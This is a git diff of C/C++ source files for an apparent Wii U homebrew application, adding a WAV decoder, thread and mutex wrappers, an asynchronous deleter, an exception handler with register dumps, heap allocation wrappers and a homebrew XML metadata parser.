+ * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#include +#include "WavDecoder.hpp" +#include "utils/utils.h" + +WavDecoder::WavDecoder(const char * filepath) + : SoundDecoder(filepath) +{ + SoundType = SOUND_WAV; + SampleRate = 48000; + Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT; + + if(!file_fd) + return; + + OpenFile(); +} + +WavDecoder::WavDecoder(const u8 * snd, int len) + : SoundDecoder(snd, len) +{ + SoundType = SOUND_WAV; + SampleRate = 48000; + Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT; + + if(!file_fd) + return; + + OpenFile(); +} + +WavDecoder::~WavDecoder() +{ +} + + +void WavDecoder::OpenFile() +{ + SWaveHdr Header; + SWaveFmtChunk FmtChunk; + memset(&Header, 0, sizeof(SWaveHdr)); + memset(&FmtChunk, 0, sizeof(SWaveFmtChunk)); + + file_fd->read((u8 *) &Header, sizeof(SWaveHdr)); + file_fd->read((u8 *) &FmtChunk, sizeof(SWaveFmtChunk)); + + if (Header.magicRIFF != 0x52494646) // 'RIFF' + { + CloseFile(); + return; + } + else if(Header.magicWAVE != 0x57415645) // 'WAVE' + { + CloseFile(); + return; + } + else if(FmtChunk.magicFMT != 0x666d7420) // 'fmt ' + { + CloseFile(); + return; + } + + DataOffset = sizeof(SWaveHdr)+le32(FmtChunk.size)+8; + file_fd->seek(DataOffset, SEEK_SET); + SWaveChunk DataChunk; + file_fd->read((u8 *) &DataChunk, sizeof(SWaveChunk)); + + while(DataChunk.magicDATA != 0x64617461) // 'data' + { + DataOffset += 8+le32(DataChunk.size); + file_fd->seek(DataOffset, SEEK_SET); + int ret = file_fd->read((u8 *) &DataChunk, sizeof(SWaveChunk)); + if(ret <= 0) + { + CloseFile(); + return; + } + } + + DataOffset += 8; + DataSize = le32(DataChunk.size); + Is16Bit = (le16(FmtChunk.bps) == 16); + SampleRate = le32(FmtChunk.freq); + + if (le16(FmtChunk.channels) == 1 && le16(FmtChunk.bps) == 8 && le16(FmtChunk.alignment) <= 1) + Format = CHANNELS_MONO | FORMAT_PCM_8_BIT; + else if (le16(FmtChunk.channels) == 1 && le16(FmtChunk.bps) == 16 && le16(FmtChunk.alignment) <= 2) + Format = CHANNELS_MONO | FORMAT_PCM_16_BIT; + else if (le16(FmtChunk.channels) == 2 && le16(FmtChunk.bps) == 8 && le16(FmtChunk.alignment) <= 2) + Format = CHANNELS_STEREO | FORMAT_PCM_8_BIT; + else if (le16(FmtChunk.channels) == 2 && le16(FmtChunk.bps) == 16 && le16(FmtChunk.alignment) <= 4) + Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT; +} + +void WavDecoder::CloseFile() +{ + if(file_fd) + delete file_fd; + + file_fd = NULL; +} + +int WavDecoder::Read(u8 * buffer, int buffer_size, int pos) +{ + if(!file_fd) + return -1; + + if(CurPos >= (int) DataSize) + return 0; + + file_fd->seek(DataOffset+CurPos, SEEK_SET); + + if(buffer_size > (int) DataSize-CurPos) + buffer_size = DataSize-CurPos; + + int read = file_fd->read(buffer, buffer_size); + if(read > 0) + { + if (Is16Bit) + { + read &= ~0x0001; + + for (u32 i = 0; i < (u32) (read / sizeof (u16)); ++i) + ((u16 *) buffer)[i] = le16(((u16 *) buffer)[i]); + } + CurPos += read; + } + + return read; +} diff --git a/src/sounds/WavDecoder.hpp b/src/sounds/WavDecoder.hpp new file mode 100644 index 0000000..5981883 --- /dev/null +++ b/src/sounds/WavDecoder.hpp @@ -0,0 +1,71 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#ifndef WAVDECODER_HPP_ +#define WAVDECODER_HPP_ + +#include "SoundDecoder.hpp" + +typedef struct +{ + u32 magicRIFF; + u32 size; + u32 magicWAVE; +} SWaveHdr; + +typedef struct +{ + u32 magicFMT; + u32 size; + u16 format; + u16 channels; + u32 freq; + u32 avgBps; + u16 alignment; + u16 bps; +} SWaveFmtChunk; + +typedef struct +{ + u32 magicDATA; + u32 size; +} SWaveChunk; + +class WavDecoder : public SoundDecoder +{ + public: + WavDecoder(const char * filepath); + WavDecoder(const u8 * snd, int len); + virtual ~WavDecoder(); + int Read(u8 * buffer, int buffer_size, int pos); + protected: + void OpenFile(); + void CloseFile(); + u32 DataOffset; + u32 DataSize; + bool Is16Bit; +}; + +#endif diff --git a/src/system/AsyncDeleter.cpp b/src/system/AsyncDeleter.cpp new file mode 100644 index 0000000..7776989 --- /dev/null +++ b/src/system/AsyncDeleter.cpp @@ -0,0 +1,71 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "AsyncDeleter.h" + +AsyncDeleter * AsyncDeleter::deleterInstance = NULL; + +AsyncDeleter::AsyncDeleter() + : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff) + , exitApplication(false) +{ +} + +AsyncDeleter::~AsyncDeleter() +{ + exitApplication = true; +} + +void AsyncDeleter::triggerDeleteProcess(void) +{ + if(!deleterInstance) + deleterInstance = new AsyncDeleter; + + //! to trigger the event after GUI process is finished execution + //! this function is used to swap elements from one to next array + if(!deleterInstance->deleteElements.empty()) + { + deleterInstance->deleteMutex.lock(); + while(!deleterInstance->deleteElements.empty()) + { + deleterInstance->realDeleteElements.push(deleterInstance->deleteElements.front()); + deleterInstance->deleteElements.pop(); + } + deleterInstance->deleteMutex.unlock(); + deleterInstance->resumeThread(); + } +} + +void AsyncDeleter::executeThread(void) +{ + while(!exitApplication) + { + suspendThread(); + + //! delete elements that require post process deleting + //! because otherwise they would block or do invalid access on GUI thread + while(!realDeleteElements.empty()) + { + deleteMutex.lock(); + AsyncDeleter::Element *element = realDeleteElements.front(); + realDeleteElements.pop(); + deleteMutex.unlock(); + + delete element; + } + } + +} diff --git a/src/system/AsyncDeleter.h b/src/system/AsyncDeleter.h new file mode 100644 index 0000000..5497ad2 --- /dev/null +++ b/src/system/AsyncDeleter.h @@ -0,0 +1,64 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef _ASYNC_DELETER_H +#define _ASYNC_DELETER_H + +#include +#include "CThread.h" +#include "CMutex.h" + +class AsyncDeleter : public CThread +{ +public: + static void destroyInstance() + { + delete deleterInstance; + deleterInstance = NULL; + } + + class Element + { + public: + Element() {} + virtual ~Element() {} + }; + + static void pushForDelete(AsyncDeleter::Element *e) + { + if(!deleterInstance) + deleterInstance = new AsyncDeleter; + + deleterInstance->deleteElements.push(e); + } + + static void triggerDeleteProcess(void); + +private: + AsyncDeleter(); + virtual ~AsyncDeleter(); + + static AsyncDeleter *deleterInstance; + + void executeThread(void); + + bool exitApplication; + std::queue deleteElements; + std::queue realDeleteElements; + CMutex deleteMutex; +}; + +#endif // _ASYNC_DELETER_H diff --git a/src/system/CMutex.h b/src/system/CMutex.h new file mode 100644 index 0000000..3e7cc1b --- /dev/null +++ b/src/system/CMutex.h @@ -0,0 +1,69 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef _CMUTEX_H_ +#define _CMUTEX_H_ + +#include +#include "dynamic_libs/os_functions.h" + +class CMutex +{ +public: + CMutex() { + pMutex = malloc(OS_MUTEX_SIZE); + if(!pMutex) + return; + + OSInitMutex(pMutex); + } + virtual ~CMutex() { + if(pMutex) + free(pMutex); + } + + void lock(void) { + if(pMutex) + OSLockMutex(pMutex); + } + void unlock(void) { + if(pMutex) + OSUnlockMutex(pMutex); + } + bool tryLock(void) { + if(!pMutex) + return false; + + return (OSTryLockMutex(pMutex) != 0); + } +private: + void *pMutex; +}; + +class CMutexLock +{ +public: + CMutexLock() { + mutex.lock(); + } + virtual ~CMutexLock() { + mutex.unlock(); + } +private: + CMutex mutex; +}; + +#endif // _CMUTEX_H_ diff --git a/src/system/CThread.h b/src/system/CThread.h new file mode 100644 index 0000000..d9e01f6 --- /dev/null +++ b/src/system/CThread.h @@ -0,0 +1,120 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef CTHREAD_H_ +#define CTHREAD_H_ + +#include +#include +#include +#include "dynamic_libs/os_functions.h" + +class CThread +{ +public: + typedef void (* Callback)(CThread *thread, void *arg); + + //! constructor + CThread(int iAttr, int iPriority = 16, int iStackSize = 0x8000, CThread::Callback callback = NULL, void *callbackArg = NULL) + : pThread(NULL) + , pThreadStack(NULL) + , pCallback(callback) + , pCallbackArg(callbackArg) + { + //! save attribute assignment + iAttributes = iAttr; + //! allocate the thread + pThread = memalign(8, 0x1000); + //! allocate the stack + pThreadStack = (u8 *) memalign(0x20, iStackSize); + //! create the thread + if(pThread && pThreadStack) + OSCreateThread(pThread, &CThread::threadCallback, 1, this, (u32)pThreadStack+iStackSize, iStackSize, iPriority, iAttributes); + } + + //! destructor + virtual ~CThread() { shutdownThread(); } + + static CThread *create(CThread::Callback callback, void *callbackArg, int iAttr = eAttributeNone, int iPriority = 16, int iStackSize = 0x8000) + { + return ( new CThread(iAttr, iPriority, iStackSize, callback, callbackArg) ); + } + + //! Get thread ID + virtual void* getThread() const { return pThread; } + //! Thread entry function + virtual void executeThread(void) + { + if(pCallback) + pCallback(this, pCallbackArg); + } + //! Suspend thread + virtual void suspendThread(void) { if(isThreadSuspended()) return; if(pThread) OSSuspendThread(pThread); } + //! Resume thread + virtual void resumeThread(void) { if(!isThreadSuspended()) return; if(pThread) OSResumeThread(pThread); } + //! Set thread priority + virtual void setThreadPriority(int prio) { if(pThread) OSSetThreadPriority(pThread, prio); } + //! Check if thread is suspended + virtual bool isThreadSuspended(void) const { if(pThread) return OSIsThreadSuspended(pThread); return false; } + //! Check if thread is terminated + virtual bool isThreadTerminated(void) const { if(pThread) return OSIsThreadTerminated(pThread); return false; } + //! Check if thread is running + virtual bool isThreadRunning(void) const { return !isThreadSuspended() && !isThreadRunning(); } + //! Shutdown thread + virtual void shutdownThread(void) + { + //! wait for thread to finish + if(pThread && !(iAttributes & eAttributeDetach)) + { + if(isThreadSuspended()) + resumeThread(); + + OSJoinThread(pThread, NULL); + } + //! free the thread stack buffer + if(pThreadStack) + free(pThreadStack); + if(pThread) + free(pThread); + + pThread = NULL; + pThreadStack = NULL; + } + //! Thread attributes + enum eCThreadAttributes + { + eAttributeNone = 0x07, + eAttributeAffCore0 = 0x01, + eAttributeAffCore1 = 0x02, + eAttributeAffCore2 = 0x04, + eAttributeDetach = 0x08, + eAttributePinnedAff = 0x10 + }; +private: + static int threadCallback(int argc, void *arg) + { + //! After call to start() continue with the internal function + ((CThread *) arg)->executeThread(); + return 0; + } + int iAttributes; + void *pThread; + u8 *pThreadStack; + Callback pCallback; + void *pCallbackArg; +}; + +#endif diff --git a/src/system/exception_handler.c b/src/system/exception_handler.c new file mode 100644 index 0000000..0cde2d0 --- /dev/null +++ b/src/system/exception_handler.c @@ -0,0 +1,168 @@ +#include +#include "dynamic_libs/os_functions.h" +#include "exception_handler.h" + +#define OS_EXCEPTION_MODE_GLOBAL_ALL_CORES 4 + +#define OS_EXCEPTION_DSI 2 +#define OS_EXCEPTION_ISI 3 +#define OS_EXCEPTION_PROGRAM 6 + +/* Exceptions */ +typedef struct OSContext +{ + /* OSContext identifier */ + uint32_t tag1; + uint32_t tag2; + + /* GPRs */ + uint32_t gpr[32]; + + /* Special registers */ + uint32_t cr; + uint32_t lr; + uint32_t ctr; + uint32_t xer; + + /* Initial PC and MSR */ + uint32_t srr0; + uint32_t srr1; + + /* Only valid during DSI exception */ + uint32_t exception_specific0; + uint32_t exception_specific1; + + /* There is actually a lot more here but we don't need the rest*/ +} OSContext; + +#define CPU_STACK_TRACE_DEPTH 10 +#define __stringify(rn) #rn + +#define mfspr(_rn) \ +({ register uint32_t _rval = 0; \ + asm volatile("mfspr %0," __stringify(_rn) \ + : "=r" (_rval));\ + _rval; \ +}) + +typedef struct _framerec { + struct _framerec *up; + void *lr; +} frame_rec, *frame_rec_t; + +static const char *exception_names[] = { + "DSI", + "ISI", + "PROGRAM" +}; + +static const char exception_print_formats[18][45] = { + "Exception type %s occurred!\n", // 0 + "GPR00 %08X GPR08 %08X GPR16 %08X GPR24 %08X\n", // 1 + "GPR01 %08X GPR09 %08X GPR17 %08X GPR25 %08X\n", // 2 + "GPR02 %08X GPR10 %08X GPR18 %08X GPR26 %08X\n", // 3 + "GPR03 %08X GPR11 %08X GPR19 %08X GPR27 %08X\n", // 4 + "GPR04 %08X GPR12 %08X GPR20 %08X GPR28 %08X\n", // 5 + "GPR05 %08X GPR13 %08X GPR21 %08X GPR29 %08X\n", // 6 + "GPR06 %08X GPR14 %08X GPR22 %08X GPR30 %08X\n", // 7 + "GPR07 %08X GPR15 %08X GPR23 %08X GPR31 %08X\n", // 8 + "LR %08X SRR0 %08x SRR1 %08x\n", // 9 + "DAR %08X DSISR %08X\n", // 10 + "\nSTACK DUMP:", // 11 + " --> ", // 12 + " -->\n", // 13 + "\n", // 14 + "%p", // 15 + "\nCODE DUMP:\n", // 16 + "%p: %08X %08X %08X %08X\n", // 17 +}; + +static unsigned char exception_cb(void * c, unsigned char exception_type) { + char buf[850]; + int pos = 0; + + OSContext *context = (OSContext *) c; + /* + * This part is mostly from libogc. Thanks to the devs over there. + */ + pos += sprintf(buf + pos, exception_print_formats[0], exception_names[exception_type]); + pos += sprintf(buf + pos, exception_print_formats[1], context->gpr[0], context->gpr[8], context->gpr[16], context->gpr[24]); + pos += sprintf(buf + pos, exception_print_formats[2], context->gpr[1], context->gpr[9], context->gpr[17], context->gpr[25]); + pos += sprintf(buf + pos, exception_print_formats[3], context->gpr[2], context->gpr[10], context->gpr[18], context->gpr[26]); + pos += sprintf(buf + pos, exception_print_formats[4], context->gpr[3], context->gpr[11], context->gpr[19], context->gpr[27]); + pos += sprintf(buf + pos, exception_print_formats[5], context->gpr[4], context->gpr[12], context->gpr[20], context->gpr[28]); + pos += sprintf(buf + pos, exception_print_formats[6], context->gpr[5], context->gpr[13], context->gpr[21], context->gpr[29]); + pos += sprintf(buf + pos, exception_print_formats[7], context->gpr[6], context->gpr[14], context->gpr[22], context->gpr[30]); + pos += sprintf(buf + pos, exception_print_formats[8], context->gpr[7], context->gpr[15], context->gpr[23], context->gpr[31]); + pos += sprintf(buf + pos, exception_print_formats[9], context->lr, context->srr0, context->srr1); + + //if(exception_type == OS_EXCEPTION_DSI) { + pos += sprintf(buf + pos, exception_print_formats[10], context->exception_specific1, context->exception_specific0); // this freezes + //} + + void *pc = (void*)context->srr0; + void *lr = (void*)context->lr; + void *r1 = (void*)context->gpr[1]; + register uint32_t i = 0; + register frame_rec_t l,p = (frame_rec_t)lr; + + l = p; + p = r1; + if(!p) + asm volatile("mr %0,%%r1" : "=r"(p)); + + pos += sprintf(buf + pos, exception_print_formats[11]); + + for(i = 0; i < CPU_STACK_TRACE_DEPTH-1 && p->up; p = p->up, i++) { + if(i % 4) + pos += sprintf(buf + pos, exception_print_formats[12]); + else { + if(i > 0) + pos += sprintf(buf + pos, exception_print_formats[13]); + else + pos += sprintf(buf + pos, exception_print_formats[14]); + } + + switch(i) { + case 0: + if(pc) + pos += sprintf(buf + pos, exception_print_formats[15],pc); + break; + case 1: + if(!l) + l = (frame_rec_t)mfspr(8); + pos += sprintf(buf + pos, exception_print_formats[15],(void*)l); + break; + default: + pos += sprintf(buf + pos, exception_print_formats[15],(void*)(p->up->lr)); + break; + } + } + + //if(exception_type == OS_EXCEPTION_DSI) { + uint32_t *pAdd = (uint32_t*)context->srr0; + pos += sprintf(buf + pos, exception_print_formats[16]); + // TODO by Dimok: this was actually be 3 instead of 2 lines in libogc .... but there is just no more space anymore on the screen + for (i = 0; i < 8; i += 4) + pos += sprintf(buf + pos, exception_print_formats[17], &(pAdd[i]),pAdd[i], pAdd[i+1], pAdd[i+2], pAdd[i+3]); + //} + + OSFatal(buf); + return 1; +} + +static unsigned char dsi_exception_cb(void * context) { + return exception_cb(context, 0); +} +static unsigned char isi_exception_cb(void * context) { + return exception_cb(context, 1); +} +static unsigned char program_exception_cb(void * context) { + return exception_cb(context, 2); +} + +void setup_os_exceptions(void) { + OSSetExceptionCallback(OS_EXCEPTION_DSI, &dsi_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_ISI, &isi_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, &program_exception_cb); +} diff --git a/src/system/exception_handler.h b/src/system/exception_handler.h new file mode 100644 index 0000000..7626f92 --- /dev/null +++ b/src/system/exception_handler.h @@ -0,0 +1,14 @@ +#ifndef __EXCEPTION_HANDLER_H_ +#define __EXCEPTION_HANDLER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +void setup_os_exceptions(void); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/system/memory.c b/src/system/memory.c new file mode 100644 index 0000000..91f5392 --- /dev/null +++ b/src/system/memory.c @@ -0,0 +1,198 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include "dynamic_libs/os_functions.h" +#include "common/common.h" +#include "memory.h" + +#define MEMORY_ARENA_1 0 +#define MEMORY_ARENA_2 1 +#define MEMORY_ARENA_3 2 +#define MEMORY_ARENA_4 3 +#define MEMORY_ARENA_5 4 +#define MEMORY_ARENA_6 5 +#define MEMORY_ARENA_7 6 +#define MEMORY_ARENA_8 7 +#define MEMORY_ARENA_FG_BUCKET 8 + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Memory functions +//! This is the only place where those are needed so lets keep them more or less private +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern unsigned int * pMEMAllocFromDefaultHeapEx; +extern unsigned int * pMEMAllocFromDefaultHeap; +extern unsigned int * pMEMFreeToDefaultHeap; + +extern int (* MEMGetBaseHeapHandle)(int mem_arena); +extern unsigned int (* MEMGetAllocatableSizeForFrmHeapEx)(int heap, int align); +extern void *(* MEMAllocFromFrmHeapEx)(int heap, unsigned int size, int align); +extern void (* MEMFreeToFrmHeap)(int heap, int mode); +extern void *(* MEMAllocFromExpHeapEx)(int heap, unsigned int size, int align); +extern int (* MEMCreateExpHeapEx)(void* address, unsigned int size, unsigned short flags); +extern void *(* MEMDestroyExpHeap)(int heap); +extern void (* MEMFreeToExpHeap)(int heap, void* ptr); + +static int mem1_heap = -1; +static int bucket_heap = -1; + +void memoryInitialize(void) +{ + int mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); + unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); + void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); + if(mem1_memory) + mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); + + int bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); + unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); + void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); + if(bucket_memory) + bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); +} + +void memoryRelease(void) +{ + MEMDestroyExpHeap(mem1_heap); + MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); + mem1_heap = -1; + + MEMDestroyExpHeap(bucket_heap); + MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); + bucket_heap = -1; +} + +//!------------------------------------------------------------------------------------------- +//! wraps +//!------------------------------------------------------------------------------------------- +void *__wrap_malloc(size_t size) +{ + // pointer to a function resolve + return ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size); +} + +void *__wrap_memalign(size_t align, size_t size) +{ + if (align < 4) + align = 4; + + // pointer to a function resolve + return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align); +} + +void __wrap_free(void *p) +{ + // pointer to a function resolve + if(p != 0) + ((void (*)(void *))(*pMEMFreeToDefaultHeap))(p); +} + +void *__wrap_calloc(size_t n, size_t size) +{ + void *p = __wrap_malloc(n * size); + if (p != 0) { + memset(p, 0, n * size); + } + return p; +} + +size_t __wrap_malloc_usable_size(void *p) +{ + //! TODO: this is totally wrong and needs to be addressed + return 0x7FFFFFFF; +} + +void *__wrap_realloc(void *p, size_t size) +{ + void *new_ptr = __wrap_malloc(size); + if (new_ptr != 0) + { + memcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size); + __wrap_free(p); + } + return new_ptr; +} + +//!------------------------------------------------------------------------------------------- +//! reent versions +//!------------------------------------------------------------------------------------------- +void *__wrap__malloc_r(struct _reent *r, size_t size) +{ + return __wrap_malloc(size); +} + +void *__wrap__calloc_r(struct _reent *r, size_t n, size_t size) +{ + return __wrap_calloc(n, size); +} + +void *__wrap__memalign_r(struct _reent *r, size_t align, size_t size) +{ + return __wrap_memalign(align, size); +} + +void __wrap__free_r(struct _reent *r, void *p) +{ + __wrap_free(p); +} + +size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p) +{ + return __wrap_malloc_usable_size(p); +} + +void *__wrap__realloc_r(struct _reent *r, void *p, size_t size) +{ + return __wrap_realloc(p, size); +} + +//!------------------------------------------------------------------------------------------- +//! some wrappers +//!------------------------------------------------------------------------------------------- +void * MEM2_alloc(unsigned int size, unsigned int align) +{ + return __wrap_memalign(align, size); +} + +void MEM2_free(void *ptr) +{ + __wrap_free(ptr); +} + +void * MEM1_alloc(unsigned int size, unsigned int align) +{ + if (align < 4) + align = 4; + return MEMAllocFromExpHeapEx(mem1_heap, size, align); +} + +void MEM1_free(void *ptr) +{ + MEMFreeToExpHeap(mem1_heap, ptr); +} + +void * MEMBucket_alloc(unsigned int size, unsigned int align) +{ + if (align < 4) + align = 4; + return MEMAllocFromExpHeapEx(bucket_heap, size, align); +} + +void MEMBucket_free(void *ptr) +{ + MEMFreeToExpHeap(bucket_heap, ptr); +} diff --git a/src/system/memory.h b/src/system/memory.h new file mode 100644 index 0000000..59764d0 --- /dev/null +++ b/src/system/memory.h @@ -0,0 +1,42 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef __MEMORY_H_ +#define __MEMORY_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +void memoryInitialize(void); +void memoryRelease(void); + +void * MEM2_alloc(unsigned int size, unsigned int align); +void MEM2_free(void *ptr); + +void * MEM1_alloc(unsigned int size, unsigned int align); +void MEM1_free(void *ptr); + +void * MEMBucket_alloc(unsigned int size, unsigned int align); +void MEMBucket_free(void *ptr); + +#ifdef __cplusplus +} +#endif + +#endif // __MEMORY_H_ diff --git a/src/utils/HomebrewXML.cpp b/src/utils/HomebrewXML.cpp new file mode 100644 index 0000000..e8a7ad3 --- /dev/null +++ b/src/utils/HomebrewXML.cpp @@ -0,0 +1,158 @@ +#include +#include +#include +#include +#include "tinyxml.h" + +#include "HomebrewXML.h" + +#define ENTRIE_SIZE 8192 + +/* qparam filename Filepath of the XML file */ +bool HomebrewXML::LoadHomebrewXMLData(const char* filename) +{ + Name.clear(); + Coder.clear(); + Version.clear(); + ShortDescription.clear(); + LongDescription.clear(); + Releasedate.clear(); + + TiXmlDocument xmlDoc(filename); + if(!xmlDoc.LoadFile()) + return false; + + TiXmlElement *appNode = xmlDoc.FirstChildElement("app"); + if(!appNode) + return false; + + TiXmlElement *node = NULL; + + node = appNode->FirstChildElement("name"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + Name = node->FirstChild()->Value(); + + node = appNode->FirstChildElement("coder"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + Coder = node->FirstChild()->Value(); + + node = appNode->FirstChildElement("version"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + Version = node->FirstChild()->Value(); + + node = appNode->FirstChildElement("short_description"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + ShortDescription = node->FirstChild()->Value(); + + node = appNode->FirstChildElement("long_description"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + LongDescription = node->FirstChild()->Value(); + + char ReleaseText[200]; + memset(ReleaseText, 0, sizeof(ReleaseText)); + + node = appNode->FirstChildElement("release_date"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + snprintf(ReleaseText, sizeof(ReleaseText), node->FirstChild()->Value()); + + int len = (strlen(ReleaseText) - 6); //length of the date string without the 200000 at the end + if (len == 8) + snprintf(ReleaseText, sizeof(ReleaseText), "%c%c/%c%c/%c%c%c%c", ReleaseText[4], ReleaseText[5], ReleaseText[6], ReleaseText[7], ReleaseText[0], ReleaseText[1], ReleaseText[2], ReleaseText[3]); + else if (len == 6) + snprintf(ReleaseText, sizeof(ReleaseText), "%c%c/%c%c%c%c", ReleaseText[4], ReleaseText[5], ReleaseText[0], ReleaseText[1], ReleaseText[2], ReleaseText[3]); + else + snprintf(ReleaseText, sizeof(ReleaseText), "%s", ReleaseText); + + Releasedate = ReleaseText; + + node = appNode->FirstChildElement("arguments"); + if(!node) + return true; + + TiXmlElement *argNode = node->FirstChildElement("arg"); + + while(argNode) + { + if(argNode->FirstChild() && argNode->FirstChild()->Value()) + Arguments.push_back(std::string(argNode->FirstChild()->Value())); + + argNode = argNode->NextSiblingElement(); + } + + return true; +} + +/* Set argument */ +void HomebrewXML::SetArgument(const char* argument) +{ + // Crop value from argument, if present + char argName[strlen(argument)+1]; + strcpy(argName, argument); + char *ptr = strrchr(argName, '='); + if(ptr) *(ptr+1) = 0; + + // Check if argument already exists and edit it + bool found = false; + for(u8 i=0; i < Arguments.size(); i++) + { + size_t pos = Arguments[i].find(argName); + if(pos != std::string::npos) + { + Arguments[i] = argument; + found = true; + break; + } + } + + // if it doesn't exist, add the new argument. + if(!found) + Arguments.push_back(argument); +} + +/* Get name */ +const char * HomebrewXML::GetName() const +{ + return Name.c_str(); +} + +/* Set Name */ +void HomebrewXML::SetName(char * newName) +{ + Name = newName; +} + +/* Get coder */ +const char * HomebrewXML::GetCoder() const +{ + return Coder.c_str(); +} + +/* Get version */ +const char * HomebrewXML::GetVersion() const +{ + return Version.c_str(); +} + +/* Set version */ +void HomebrewXML::SetVersion(const char * newVer) +{ + Version = newVer; +} + +/* Get releasedate */ +const char * HomebrewXML::GetReleasedate() const +{ + return Releasedate.c_str(); +} + +/* Get shortdescription */ +const char * HomebrewXML::GetShortDescription() const +{ + return ShortDescription.c_str(); +} + +/* Get longdescription */ +const char * HomebrewXML::GetLongDescription() const +{ + return LongDescription.c_str(); +} diff --git a/src/utils/HomebrewXML.h b/src/utils/HomebrewXML.h new file mode 100644 index 0000000..56289f4 --- /dev/null +++ b/src/utils/HomebrewXML.h @@ -0,0 